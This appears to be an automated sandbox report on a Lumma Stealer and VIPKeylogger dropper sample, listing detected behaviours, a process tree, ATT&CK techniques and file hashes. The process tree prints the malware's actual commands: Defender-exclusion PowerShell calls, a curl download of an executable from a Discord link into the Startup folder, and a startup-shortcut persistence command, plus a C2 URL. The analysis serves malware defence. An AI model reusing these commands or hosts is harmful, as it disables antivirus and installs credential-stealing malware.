Overview

overview

10

Static

static

3

New Text D...xe.zip

windows7-x64

7

New Text D...xe.zip

windows10-2004-x64

10

New Text D...xe.zip

windows10-ltsc 2021-x64

10

New Text D...xe.zip

windows11-21h2-x64

10

Resubmissions

28-11-2024 19:39

241128-yc84dstkfn 10

16-11-2024 19:52

241116-ylqcmssfqd 10

16-11-2024 17:56

241116-wjcyeszmht 10

Analysis

  • max time kernel
    643s
  • max time network
    645s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20241023-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    16-11-2024 19:52

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    New Text Document.exe.zip

  • Size

    1KB

  • MD5

    f3910b212669210383b5efcd278818fe

  • SHA1

    1708977352c5b19d8c126797a34cd1d8eedcfd19

  • SHA256

    85b8d5214c0bc80b888c6a3404c2a371e3aaba32561d069f454b0af159015396

  • SHA512

    f6ab525df5e79d59f05ac7618de628e1e5bf956ce8db9add144214c2c8a64282a0ce79c46ca4b88c1f7754ab8cb7f0883a080e1096c9561edb1f455aff95b499

Score
10/10
lummavipkeyloggercollectiondiscoveryevasionexecutionkeyloggerpersistencespywarestealerupx

Malware Config

Extracted

Family

vipkeylogger

Credentials

Extracted

Family

lumma

C2

https://c0al1t1onmatch.cyou/api

Signatures

  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

    stealerkeyloggervipkeylogger
  • Vipkeylogger family
    vipkeylogger
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    evasion
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 7 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 35 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 39 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

    spywarestealer
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unexpected DNS network traffic destination 10 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
    collection
  • Accesses Microsoft Outlook profiles 1 TTPs 7 IoCs
    collection
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks for any installed AV software in registry 1 TTPs 8 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops desktop.ini file(s) 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 1 IoCs
  • Drops file in Windows directory 3 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Embeds OpenSSL 1 IoCs

    Embeds OpenSSL, may be used to circumvent TLS interception.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 30 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 61 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3688
      • C:\Program Files\7-Zip\7zFM.exe
        "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\New Text Document.exe.zip"
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:464
      • C:\Users\Admin\Desktop\New Text Document.exe
        "C:\Users\Admin\Desktop\New Text Document.exe"
        2⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2712
        • C:\Users\Admin\Desktop\a\SKOblik.exe
          "C:\Users\Admin\Desktop\a\SKOblik.exe"
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1040
          • C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe
            "C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:1832
            • C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe
              "C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe" restart
              5⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Loads dropped DLL
              • Accesses Microsoft Outlook accounts
              • Accesses Microsoft Outlook profiles
              • Adds Run key to start application
              • Drops file in Program Files directory
              • System Location Discovery: System Language Discovery
              • Checks processor information in registry
              • Modifies system certificate store
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:3348
              • C:\Windows\SysWOW64\cmd.exe
                cmd.exe /c ver
                6⤵
                • System Location Discovery: System Language Discovery
                PID:2080
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                PID:4616
        • C:\Users\Admin\Desktop\a\opengl32.dll40watson-sanchez4040830.exe
          "C:\Users\Admin\Desktop\a\opengl32.dll40watson-sanchez4040830.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:2856
        • C:\Users\Admin\Desktop\a\Guide2018.exe
          "C:\Users\Admin\Desktop\a\Guide2018.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          PID:2596
        • C:\Users\Admin\Desktop\a\stories.exe
          "C:\Users\Admin\Desktop\a\stories.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4596
          • C:\Users\Admin\AppData\Local\Temp\is-49MQI.tmp\stories.tmp
            "C:\Users\Admin\AppData\Local\Temp\is-49MQI.tmp\stories.tmp" /SL5="$30624,5532893,721408,C:\Users\Admin\Desktop\a\stories.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of WriteProcessMemory
            PID:2276
            • C:\Windows\SysWOW64\net.exe
              "C:\Windows\system32\net.exe" pause shine-encoder_11152
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:1236
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 pause shine-encoder_11152
                6⤵
                • System Location Discovery: System Language Discovery
                PID:848
            • C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe
              "C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe" -i
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              PID:468
        • C:\Users\Admin\Desktop\a\wwbizsrvs.exe
          "C:\Users\Admin\Desktop\a\wwbizsrvs.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:980
        • C:\Users\Admin\Desktop\a\msf.exe
          "C:\Users\Admin\Desktop\a\msf.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:1816
        • C:\Users\Admin\Desktop\a\msf443.exe
          "C:\Users\Admin\Desktop\a\msf443.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:1168
        • C:\Users\Admin\Desktop\a\client.exe
          "C:\Users\Admin\Desktop\a\client.exe"
          3⤵
          • Executes dropped EXE
          • Drops desktop.ini file(s)
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4684
          • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yuko1bw-.cmdline"
            4⤵
              PID:4448
              • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB598.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCB597.tmp"
                5⤵
                  PID:3524
            • C:\Users\Admin\Desktop\a\Pawyvstri.exe
              "C:\Users\Admin\Desktop\a\Pawyvstri.exe"
              3⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1096
            • C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe
              "C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe"
              3⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              PID:1028
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe"
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                PID:4624
              • C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe
                "C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe"
                4⤵
                • Executes dropped EXE
                • Accesses Microsoft Outlook profiles
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                • outlook_office_path
                • outlook_win_path
                PID:4696
            • C:\Users\Admin\Desktop\a\op.exe
              "C:\Users\Admin\Desktop\a\op.exe"
              3⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:4388
              • C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\installer.exe
                .\installer.exe
                4⤵
                • Checks computer location settings
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:3964
                • C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe
                  "C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe" C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe
                  5⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Checks for any installed AV software in registry
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of SetWindowsHookEx
                  PID:2364
            • C:\Users\Admin\Desktop\a\babababa.exe
              "C:\Users\Admin\Desktop\a\babababa.exe"
              3⤵
              • Executes dropped EXE
              PID:4316
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe"
                4⤵
                  PID:1624
                  • C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe
                    C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe
                    5⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    PID:1880
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\67FF.tmp\6800.tmp\6801.bat C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe"
                      6⤵
                        PID:4728
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -w hidden -c Add-MpPreference -ExclusionPath ""
                          7⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4440
                        • C:\Windows\system32\curl.exe
                          curl --silent --output "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DataStore1.exe" "https://cdn.discordapp.com/attachments/1167169926193229925/1306213355966435360/decrypter.exe?ex=6735d97c&is=673487fc&hm=3f582970dc363d475b432b390a941fae5b9a6a3f9388809e2d818b6f1c1f06ff&"
                          7⤵
                          • Drops startup file
                          PID:4624
                • C:\Users\Admin\Desktop\a\lum250.exe
                  "C:\Users\Admin\Desktop\a\lum250.exe"
                  3⤵
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Identifies Wine through registry keys
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • System Location Discovery: System Language Discovery
                  PID:1244
                • C:\Users\Admin\Desktop\a\Beefy.exe
                  "C:\Users\Admin\Desktop\a\Beefy.exe"
                  3⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:4804
                • C:\Users\Admin\Desktop\a\solandra.exe
                  "C:\Users\Admin\Desktop\a\solandra.exe"
                  3⤵
                  • Executes dropped EXE
                  PID:4700
                • C:\Users\Admin\Desktop\a\mk.exe
                  "C:\Users\Admin\Desktop\a\mk.exe"
                  3⤵
                  • Executes dropped EXE
                  PID:1308
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -Command "$ws = New-Object -ComObject WScript.Shell; $s = $ws.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ueji.lnk'); $s.TargetPath = 'C:\Users\Admin\Desktop\a\mk.exe'; $s.Save()"
                    4⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Drops startup file
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2676
                • C:\Users\Admin\Desktop\a\crypted2.exe
                  "C:\Users\Admin\Desktop\a\crypted2.exe"
                  3⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • System Location Discovery: System Language Discovery
                  PID:3184
                  • C:\Users\Admin\Desktop\a\crypted2.exe
                    "C:\Users\Admin\Desktop\a\crypted2.exe"
                    4⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    PID:4836
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 3184 -s 316
                    4⤵
                    • Program crash
                    PID:1376
                • C:\Users\Admin\Desktop\a\random.exe
                  "C:\Users\Admin\Desktop\a\random.exe"
                  3⤵
                  • Executes dropped EXE
                  • Adds Run key to start application
                  PID:1508
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c start cmd /C "ping localhost -n 1 && start C:\Users\Admin\AppData\Local\enters.exe"
                    4⤵
                    • System Network Configuration Discovery: Internet Connection Discovery
                    PID:2132
                    • C:\Windows\system32\cmd.exe
                      cmd /C "ping localhost -n 1 && start C:\Users\Admin\AppData\Local\enters.exe"
                      5⤵
                      • System Network Configuration Discovery: Internet Connection Discovery
                      PID:2708
                      • C:\Windows\system32\PING.EXE
                        ping localhost -n 1
                        6⤵
                        • System Network Configuration Discovery: Internet Connection Discovery
                        • Runs ping.exe
                        PID:4324
                      • C:\Users\Admin\AppData\Local\enters.exe
                        C:\Users\Admin\AppData\Local\enters.exe
                        6⤵
                        • Executes dropped EXE
                        PID:2096
                • C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe
                  "C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe"
                  3⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4440
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe"
                    4⤵
                    • Command and Scripting Interpreter: PowerShell
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of AdjustPrivilegeToken
                    PID:716
                  • C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe
                    "C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe"
                    4⤵
                    • Executes dropped EXE
                    PID:1620
                  • C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe
                    "C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe"
                    4⤵
                    • Executes dropped EXE
                    PID:3324
                  • C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe
                    "C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe"
                    4⤵
                    • Executes dropped EXE
                    PID:1500
                  • C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe
                    "C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe"
                    4⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2124
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 2124 -s 1456
                      5⤵
                      • Program crash
                      PID:4944
              • C:\Users\Admin\Desktop\a\Pawyvstri.exe
                "C:\Users\Admin\Desktop\a\Pawyvstri.exe"
                2⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:2504
            • C:\Windows\System32\rundll32.exe
              C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
              1⤵
                PID:4588
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 3184 -ip 3184
                1⤵
                  PID:2708
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 2124 -ip 2124
                  1⤵
                    PID:4044

                  Network

                  MITRE ATT&CK Enterprise v15

                  Reconnaissance

                  Resource Development

                  Initial Access

                  Execution

                  Command and Scripting Interpreter

                  1
                  T1059

                  PowerShell

                  1
                  T1059.001

                  Persistence

                  Boot or Logon Autostart Execution

                  1
                  T1547

                  Registry Run Keys / Startup Folder

                  1
                  T1547.001

                  Privilege Escalation

                  Boot or Logon Autostart Execution

                  1
                  T1547

                  Registry Run Keys / Startup Folder

                  1
                  T1547.001

                  Defense Evasion

                  Modify Registry

                  2
                  T1112

                  Subvert Trust Controls

                  1
                  T1553

                  Install Root Certificate

                  1
                  T1553.004

                  Virtualization/Sandbox Evasion

                  2
                  T1497

                  Credential Access

                  Credentials from Password Stores

                  1
                  T1555

                  Credentials from Web Browsers

                  1
                  T1555.003

                  Unsecured Credentials

                  3
                  T1552

                  Credentials In Files

                  2
                  T1552.001

                  Credentials in Registry

                  1
                  T1552.002

                  Discovery

                  Browser Information Discovery

                  1
                  T1217

                  Query Registry

                  6
                  T1012

                  Remote System Discovery

                  1
                  T1018

                  Software Discovery

                  1
                  T1518

                  Security Software Discovery

                  1
                  T1518.001

                  System Information Discovery

                  4
                  T1082

                  System Location Discovery

                  1
                  T1614

                  System Language Discovery

                  1
                  T1614.001

                  System Network Configuration Discovery

                  1
                  T1016

                  Internet Connection Discovery

                  1
                  T1016.001

                  Virtualization/Sandbox Evasion

                  2
                  T1497

                  Lateral Movement

                  Collection

                  Data from Local System

                  3
                  T1005

                  Email Collection

                  2
                  T1114

                  Command and Control

                  Exfiltration

                  Impact

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\COMDLG32.OCX
                    Filesize

                    149KB

                    MD5

                    ab412429f1e5fb9708a8cdea07479099

                    SHA1

                    eb49323be4384a0e7e36053f186b305636e82887

                    SHA256

                    e32d8bbe8e6985726742b496520fa47827f3b428648fa1bc34ecffdd9bdac240

                    SHA512

                    f3348dbc3b05d14482250d7c399c00533598973f8e9168b4082ee5cbb81089dfaefcfda5a6a3c9f05b4445d655051b7a5170c57ee32d7a783dc35a75fee41aa9

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\MSCOMCTL.OCX
                    Filesize

                    1.0MB

                    MD5

                    273676426739b02a45a0fc9349500b65

                    SHA1

                    a23c709fae04feef87358abd59504940d0d0c806

                    SHA256

                    152121a5d1ac8f12002c18afc294bb1ebcecc1d61deec6211df586c11acde9b6

                    SHA512

                    8945d8a68c4ebb5845fb7f6abf3b4947eb6c37812c32d4ff2f30a0472489496c4506b3be358bb350df5c3d3be11c43c19ba6d3ca72449a7122bcec73cee181d2

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\MSINET.OCX
                    Filesize

                    129KB

                    MD5

                    90a39346e9b67f132ef133725c487ff6

                    SHA1

                    9cd22933f628465c863bed7895d99395acaa5d2a

                    SHA256

                    e55627932120be87c7950383a75a5712b0ff2c00b8d18169195ad35bc2502fc2

                    SHA512

                    0337817b9194a10b946d7381a84a2aeefd21445986afef1b9ae5a52921e598cdb0d1a576bdf8391f1ebf8be74950883a6f50ad1f61ff08678782c6b05a18adbf

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\Model++Xs.dll
                    Filesize

                    6.0MB

                    MD5

                    905a19d6f5e9856ebf1ebae8566f840e

                    SHA1

                    fe2fc3cf3af1a5b5de76793c64a32fdf95d7fb3a

                    SHA256

                    d8e8ec0f6c15c1165acefd3a2b88c9bafed45e777c71d24270d672111c2b822e

                    SHA512

                    bfbde612ce50082b66e23a080d436c7676c78200b4f5ecd61a68db9a56f6a3dbe8390789e2a45469e153fb449e09a17ea364dd19f8910e71634b7efa38928120

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\Mscomct2.ocx
                    Filesize

                    643KB

                    MD5

                    27ec2b0aebea97aa3f343dea1501ec3a

                    SHA1

                    c44b40baa25f257d874fee1c7b4ef9137f2ced51

                    SHA256

                    589e26a16d9171ce22b9a5eb95064cc96c866b1f08ab634d714231b35c2812a8

                    SHA512

                    25ac2951cb890a7747fab37ac1997e842800e71325c510122599dade0cf5bbb2cc490d87596bf8f5e9a16adc40ce1f2e19ffb0a5671597af6cb9e07ec7df9b96

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.dll
                    Filesize

                    5.9MB

                    MD5

                    010908233328c294e5e5877e07285478

                    SHA1

                    18a560584c682b2dc21a1228228192c4baf47f6d

                    SHA256

                    a902df81dce5a9b84929c88a5d219df0a5a07206b0801a7a723c4548609b953c

                    SHA512

                    7d36f6c400271344ac91e33cac6045b3642ba59b730dd21b678bb1b9de42619766f9739bff51423f8fb4a8304fecf61f13a14987b59b098ff99062bdc795eda4

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe
                    Filesize

                    1.5MB

                    MD5

                    9a994d678fb05bf73d7b61c76788f7eb

                    SHA1

                    3eb3769906efb6ff161555ebf04c78cb10d60501

                    SHA256

                    84ca892ab2410acef28721d58067fcba71f0de54ede62ef2fca9aeb845b5227f

                    SHA512

                    c7c846d6d8d2e43871c1c4471d26c6cfcee29a5b563eca69fef2f4e394767ef3e61a231626a1ff64aaf6a907d66a0cbe9db1c965128e3bab373e406ea891e6ce

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\RICHTX32.OCX
                    Filesize

                    207KB

                    MD5

                    045a16822822426c305ea7280270a3d6

                    SHA1

                    43075b6696bb2d2f298f263971d4d3e48aa4f561

                    SHA256

                    318cc48cbcfaba9592956e4298886823cc5f37626c770d6dadbcd224849680c5

                    SHA512

                    5a042ff0a05421fb01e0a95a8b62f3ce81f90330daed78f09c7d5d2abcb822a2fe99d00494c3ddd96226287fae51367e264b48b2831a8c080916ce18c0a675fa

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\SE_CLSEditorX.dll
                    Filesize

                    424KB

                    MD5

                    c2a51f02511eff6edf77bc99e50ad427

                    SHA1

                    a72700705c3fa64b5717ee30a4485b5299c7ac19

                    SHA256

                    dcfea0126e1c02aad0ea2fb6ef93d308fa20e67d4aa812487b4a5dc57e0ff16a

                    SHA512

                    1c7a0201e7b074f2dceba7e764eec261ecefd92a34741b4e152018aca41129ceb26d3a3cbe19ee7fc268820b1ff3b66e5b7e2523b076f45ad85b1d3cb11b12f0

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\Source.dat
                    Filesize

                    5.6MB

                    MD5

                    60147cda18bf6490afeeaa6635ea569c

                    SHA1

                    679d9c0923c71603c15a896d3485cbf26a289291

                    SHA256

                    7b668c5d6532b0e39afabc458426347c5e8f77566f608574e7d9c9a0dbccf290

                    SHA512

                    31465940d267af7e712372615837971903100702fa64a43edfe4a96a0988c685ccdaf8dee9e3a6bf5655ba5329040877da15fd4f3431dce34916d6fda9334a98

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\VBCCR15.OCX
                    Filesize

                    4.9MB

                    MD5

                    a00469043467b0ed571938679ab2e796

                    SHA1

                    68ae694ee41f86ee9240ac8abd516c668d3b907e

                    SHA256

                    83e48fb3b98f83c89a79d3d77698ae565a3f8ea09450d5a9dc5c4815d079e0fa

                    SHA512

                    e8986c0c100ee8edbab67febe0a4f6fa36d716fc2397fddd0df1b86a1eafb6d85ccab8f2f48c059fd0cc9aec1119caa5e4f6c387eb23bbc9aa876bf10a3218f3

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\ValueTransformers.dll
                    Filesize

                    2.9MB

                    MD5

                    473fe371f857c6bc57bcc6e879abdce0

                    SHA1

                    6c9bba7026bd56ff7e01213126e82b58b6b0ab04

                    SHA256

                    d13f8cafe9ae83284ff0bebaee9fa72515bf7bde2251f94879e3eac302483a5c

                    SHA512

                    7ea6c95c8d6ce86fe12d348d1ff2ce664d10f4e0288c430cf353de136de9df2ec40e0a7c6772d524be523110b86abf7cbb4ecbd719f06210104091d0448b51e7

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\comctl32.ocx
                    Filesize

                    1.3MB

                    MD5

                    2640ad05ab39321e6c9d3c71236ca0df

                    SHA1

                    03d30b572f312c2b554e76b3a18fbbb4a38a9be4

                    SHA256

                    634d27df20591de4d9b44dfb7f1ef03284c1d120f61b0801d668c1076d72cb6d

                    SHA512

                    7ea1357dcb7c22870c4993df30b00a79e61731cbea87775d800b7ff7f435858167780b22fd5af6a2df59edc1c5d5fb0e184c5f7ed4436c70ea5f91b8be4a1e75

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\jb2.ocx
                    Filesize

                    412KB

                    MD5

                    1396e7462eb8ce452b0f0e2540f2a0e6

                    SHA1

                    1a205c5a45e7fc0856db974605a1b01ad655b788

                    SHA256

                    83f5e5c8adc1ab0c701ec63a33e1ff3e114583116b04d31e3e6d6a37fb61defb

                    SHA512

                    2b00518d2e22d726aab3df67eaf468c49fca43d7ef2583092e04ad23b0f6085b4672fe9b1a6d80227461aafd97596e8fab176ef3f5ce2f94cda8bc3f9e6c5c04

                    Download Submit

